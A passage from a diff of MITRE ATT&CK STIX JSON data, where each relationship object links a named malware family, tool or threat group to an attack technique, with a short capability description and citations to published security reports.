"relationship--5cdbfaba-b4be-4cff-bdc6-c9205c44c844", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get text of the current foreground window.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43d85ed6-223e-4402-bd29-be10a872359d", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.438Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28a5dd20-3e47-4ad4-973e-475a65e96cac", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of spreading to USB devices.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16d5d573-60bb-402c-88c3-2bc0af8388eb", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can dump passwords and save them into \\ProgramData\\Mail\\MailAg\\pwds.txt.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa accesses the ADMIN$ share via SMB to conduct lateral movement.", + "type": "relationship", + "created": "2017-05-31T21:33:27.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.099Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) has been observed using SQL injection to gain access to systems.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e11a3d87-d9cf-4dcf-b722-fef4b0a324b4", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "Cisco Group 72", + "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", + "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72" + } + ], + "modified": "2019-03-22T19:55:13.721Z", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "relationship_type": "uses", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:30:55.910Z", + "type": "relationship", + "id": "relationship--196a2d37-4b87-465d-8d92-2e614cda869c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) writes multiple outputs to a TMP file using the >> method.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1784577e-9d82-497b-aba1-bc4d5a23d8f8", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the current username and sends it to the C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to create a reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may create a temporary user on the system named \u201cLost_{Unique Identifier}\u201d with the password \u201cpond~!@6\u201d{Unique Identifier}.\u201d", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[netstat](https://attack.mitre.org/software/S0104) can be used to enumerate local network connections, including active TCP connections and other network statistics.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28189361-4cd2-4925-a095-d7ebd07ebd57", + "external_references": [ + { + "source_name": "TechNet Netstat", + "description": "Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490947.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9906a11-8ac7-4bd4-9c28-c58834ff593b", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.623Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used Microsoft\u2019s Sysinternals tools to gather detailed information about remote systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfb1e467-dffc-463b-9f38-a3fafbb9d036", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.492Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the current system time (UTC) and sends it back to the C2 server.", + "type": "relationship", + "created": "2019-01-29T17:59:44.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9494b0d8-26d9-48ae-8dd1-c9d8966b23a0", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.114Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) allows the operator to capture screenshots.", + "type": "relationship", + "created": "2019-01-29T18:17:59.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb39cbf2-a9dc-4c31-9fb9-b6c456c2005c", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.899Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can log keystrokes on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T18:44:05.133Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--891217a4-3822-4345-b77f-448f41fd9361", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "source_name": "Fortinet Agent Tesla June 2017", + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "modified": "2019-04-16T14:30:35.332Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) encrypts instructions in the payload using a simple XOR cipher.", + "type": "relationship", + "created": "2019-01-29T19:09:26.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9404ebb-fce5-4596-b0f1-7f8a61578b32", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.372Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the net view command.", + "type": "relationship", + "created": "2019-01-29T19:36:02.749Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a951bef0-4a5a-49b0-b6bd-6a4dfbd60ca0", + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "modified": "2019-04-12T14:43:22.620Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) recursively searches for all .doc files on the system and collects a directory listing of the Desktop, %TEMP%, and %WINDOWS%\\Temp directories.", + "type": "relationship", + "created": "2019-01-29T19:55:48.173Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--291e908e-1d2e-4b29-a564-5a33149d1dbb", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:42.930Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) creates the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell and sets the value to establish persistence.", + "type": "relationship", + "created": "2019-01-29T20:17:49.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad3bca07-c2d2-411f-9bd8-bf4e1142d9ae", + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "modified": "2019-06-30T22:44:28.212Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has conducted watering holes schemes to gain initial access to victims.", + "type": "relationship", + "created": "2019-01-29T21:27:25.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d27c0d9-7e8e-4713-b3e1-0d82db27ac9a", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.821Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a RAR archive based on collected files on the victim's machine.", + "type": "relationship", + "created": "2019-01-29T21:47:53.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96d8b8bb-3bdc-481e-a554-41790acac66a", + "external_references": [ + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.883Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects system drive information, the computer name, and the size of the disk.", + "type": "relationship", + "created": "2019-01-30T13:24:09.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75a1f636-76d3-4029-ae40-0a7a3b8d7eba", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:09.072Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) is packed for obfuscation.", + "type": "relationship", + "created": "2019-01-30T13:53:14.917Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c63696bf-8b36-4366-9c3f-7a2d0053c481", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:21.969Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used rundll32.exe for execution.", + "type": "relationship", + "created": "2019-01-30T14:19:17.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bbd100ee-cc67-43f3-bc56-d02ee50e689d", + "external_references": [ + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.298Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect a list of running processes by calling CreateToolhelp32Snapshot.", + "type": "relationship", + "created": "2019-01-30T15:19:14.994Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f503ea13-d045-4246-9674-a73f7e52ea85", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "modified": "2019-07-26T23:22:28.296Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.964Z", + "type": "relationship", + "created": "2019-01-30T15:33:07.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d0afb20-dfbd-4f6b-bd75-ee67d8eeb8c6", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 